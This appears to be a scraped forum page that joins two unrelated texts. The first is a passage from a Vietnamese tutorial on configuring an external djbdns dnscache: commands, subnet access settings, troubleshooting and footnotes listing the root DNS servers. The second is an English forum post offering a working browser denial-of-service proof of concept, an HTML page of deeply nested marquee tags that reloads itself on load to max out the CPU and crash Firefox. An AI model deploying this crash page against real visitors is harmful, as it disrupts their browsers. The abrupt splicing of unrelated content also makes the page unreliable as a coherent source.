d) kiểm tra kỹ tài khoản cho dnscache và dnslog, những tài khoản này được dùng đúng (chính xác tên) trong lệnh tạo dnscache hay không. Thực hiện lại các bước trong phần 4.3.1 này.


4.3.3 External dnscache (ngoại vi)
"Ngoại vi" ở đây là giới hạn resolve cho các máy con thuộc các subnet mà server này được chỉ định phục vụ. Địa chỉ "thật" -10- của server này sẽ được dùng để "lắng nghe" và phục vụ công tác resolve. Bởi thế, các máy con trong cùng subnet hoặc những subnet khác có thể dùng dịch vụ dnscache trên server này nếu chúng có thể "thấy" được server này.

Tương tự như trên (phần 4.3.1), dnscache-conf được dùng để thiết lập dnscache "ngoại vi" ở đây:
# dnscache-conf dnscache dnslog /var/dns/dnscacheext 192.168.0.1
trong đó:
- dnscache-conf là chương trình dùng để thiết lập dịch vụ dnscache
- dnscache là tài khoản được tạo ở phần 4.1 dành riêng cho dịch vụ dnscache. Bạn có thể tạo tài khoản này với tên khác để tránh bối rối nếu cần.
- dnslog là tài khoản được tạo dành riêng cho công tác "log".
- /var/dns/dnscacheext là thư mục chứa các thông tin cần thiết cho dịch vụ dnscache cụ thể "lắng nghe" trên IP 192.168.0.1. dnscacheext chỉ cho dnscache external (ngoại vi).
- 192.168.0.1 là IP address được ấn định để lắng nghe dịch vụ dnscache trong trường hợp này.

Tương tự như phần 4.3.1, phương thức tạo dịch vụ dnscache trên một IP address "thật" cần đi xuyên qua bước tạo symbolic link từ /var/dns/dnscacheext đến /service để cho phép nó khởi động:
# ln -s /var/dns/dnscacheext /service

Ra lệnh svc khởi động dnscacheext:
# svc /service/dnscacheext

Thử liệt kê dịch vụ bạn sẽ thấy máy đang lắng nghe trên port 53 của IP 192.168.0.1:
# netstat -nau | grep 53

Với ví dụ trên, dnscache cho ngoại vi hiện chỉ cho phép chính nó resolve vì chỉ có một giá trị ấn định duy nhất trong /var/dns/dnscacheext/root/ip là 192.168.0.1. Nếu bạn muốn cho phép trọn bộ subnet 192.168.0.0/24 truy cập vào dịch vụ resolve trên máy chủ này, chỉ đơn giản chạy lệnh sau:
# touch /var/dns/dnscacheext/root/ip/192.168.0

Cho phép một subnet 172.16.0 khác chẳng hạn:
# touch /var/dns/dnscacheext/root/ip/172.16.0

Và cứ theo cách này để thiết lập quyền truy cập cho các subnet khác nữa nếu cần.

4.3.4 Thử nghiệm và điều chỉnh external dnscache

Các bước thử nghiệm tương tự như phần 4.3.2, chỉ có điểm khác là thử nghiệm không phải trên chính máy chủ mà trên các máy con cần dùng dịch vụ resolve. Việc ấn định dns nào được dùng trên các máy con cho vấn đề resolve là tùy môi trường bạn quản lý. Ví dụ, chỉnh dns "bằng tay" cho mỗi máy con để trỏ đến dnscache server có IP là 192.168.0.1 ở trên, hoặc dùng DHCP server để áp đặt giá trị DNS server cho các máy con dùng dhcp client, hoặc ngay cả cách thay đổi giá trị /etc/resolv.conf trên máy con có hệ điều hành là *nix hoặc tương tự.

Điều cần quan tâm đến cấu hình cho dnscache ngoại vi là vấn đề các máy con cần dùng dịch vụ này có thể "thấy" được máy chủ này. Có ba trường hợp chính cần lưu tâm cho việc "thấy":

a. nếu máy chủ chạy dnscache nằm trên cùng một subnet với các máy con và không hề có bất cứ cơ chế cản lọc nào cả thì vấn đề "thấy" không có gì đáng đặt vấn đề. Với ví dụ trên, máy chủ chạy dnscache có IP là 192.168.0.1 có nghĩa là nó được trọn bộ subnet 192.168.0.0 "thấy", ngoại trừ trường hợp subnet mask được điều chỉnh khác đi. -11-

b. nếu máy chủ chạy dnscache nằm trên cùng một subnet với các máy con và có cơ chế cản lọc nào đó thì vấn đề "thấy" ở đây cần phải xem xét lại thật kỹ lưỡng. Cho dù dnscache đã hoạt động và không báo lỗi thuộc về phạm trù hoạt động nhưng các máy con không thể truy cập được thì "lỗi" ở đây là vấn đề môi trường mạng xung quanh máy chủ cho phép máy con "thấy". -12-

c. nếu máy chủ chạy dnscache nằm trên một subnet nhưng phục vụ resolve cho một hoặc nhiều subnet thì vấn đề căn bản của cơ chế routing giữa các subnet phải hoàn chỉnh trước khi các máy con trên các subnet có thể truy cập đến máy chủ này. Khi các máy con (từ các subnet) có thể ping đến máy chủ chạy dnscache hoặc có thể "telnet" đến một cổng dịch vụ nào đó thì mới xác thực được cấu hình mạng và khả năng giao tiếp giữa các subnet hoàn chỉnh.


Còn tiếp
<hnd - vninformatics.com - diendantinhoc.net - 10/2004>

Chú thích:
-7- System V run level: dùng để thiết lập các dịch vụ được khởi động hay tắt bỏ ở mỗi run level khác nhau. Xem thêm một tài liệu khá cụ thể ở: http://www.yolinux.com/TUTORIALS/Lin...cess.html

-8- Name resolving: tạm dịch sang tiếng Việt là "giải danh". Nhiều nơi rải rác trong bài vẫn dùng cụm "name resolving" và có cùng tinh thần như "giải danh" vậy.

-9- "root" DNS servers: gồm 13 servers tầng cao nhất:
198.41.0.4 (a.root-servers.net)
192.228.79.201 (b.root-servers.net)
192.33.4.12 (c.root-servers.net)
128.8.10.90 (d.root-servers.net)
192.203.230.10 (e.root-servers.net)
192.5.5.241 (f.root-servers.net)
192.112.36.4 (g.root-servers.net)
128.63.2.53 (h.root-servers.net)
192.36.148.17 (i.root-servers.net)
198.41.0.10 (j.root-servers.net)
193.0.14.129 (k.root-servers.net)
198.32.64.12 (l.root-servers.net)
202.12.27.33 (m.root-servers.net)

-10- Địa chỉ thật ở đây là IP address gán cho server. Thông thường các địa chỉ dùng cho công tác name resolving (với tư cách là "recursive resolver" như dnscache) thường là địa chỉ thuộc LAN vì nó chỉ (nên) dùng để phục vụ mạng nội bộ. Lý do đã giải thích ở phần 2.2.1

-11- "thấy" trên bình diện các máy trong một subnet dựa trên sự áp đặt của netmask cho subnet này, tôi không đi sâu hơn vào phương diện mô hình mạng (network topology) vì nó nằm bên ngoài trọng tâm bài viết.

-12- cơ chế cản lọc ở đây có thể là một packet filter vô tình cản các máy con truy cập vào dịch vụ trên cổng 53. Nếu thử nghiệm "tail" log ở trên không in ra kết quả nào, điều này chứng tỏ dnscache không nhận được đòi hỏi resolve của máy con hoặc máy con bị báo là "unknown host" chẳng hạn thì nên xét kỹ lại xem có cơ chế cản lọc nào thuộc dạng này trên máy chủ chạy dnscache hay không. Tất nhiên bạn phải nắm chắc log của dnscache không báo bất cứ lỗi nào thuộc về khả năng hoạt động của dnscache.

Cập nhật:
04-11-2004: Thêm chi tiết tạo thư mục /var/dns trước khi chạy lệnh dnscache-conf vì nó không tự động tạo thư mục dns.
I have found a problem which causes denial of service on fire fox
browser

Creadit:to n00b for finding this bug..


the problem lie's in the


<marquee> html tag uses 100% cpu and crash's the browser..


Following proof of concept available


Code:
<html>
<head>
<style>
</style>
</head>
<body onload="javascript:window.location.reload(false)">
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</body>
</html>


pagvac
[http://ikwt.com]
 
Go to Page:  First Page Page 12 13 14 15 Page 17 Last Page

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|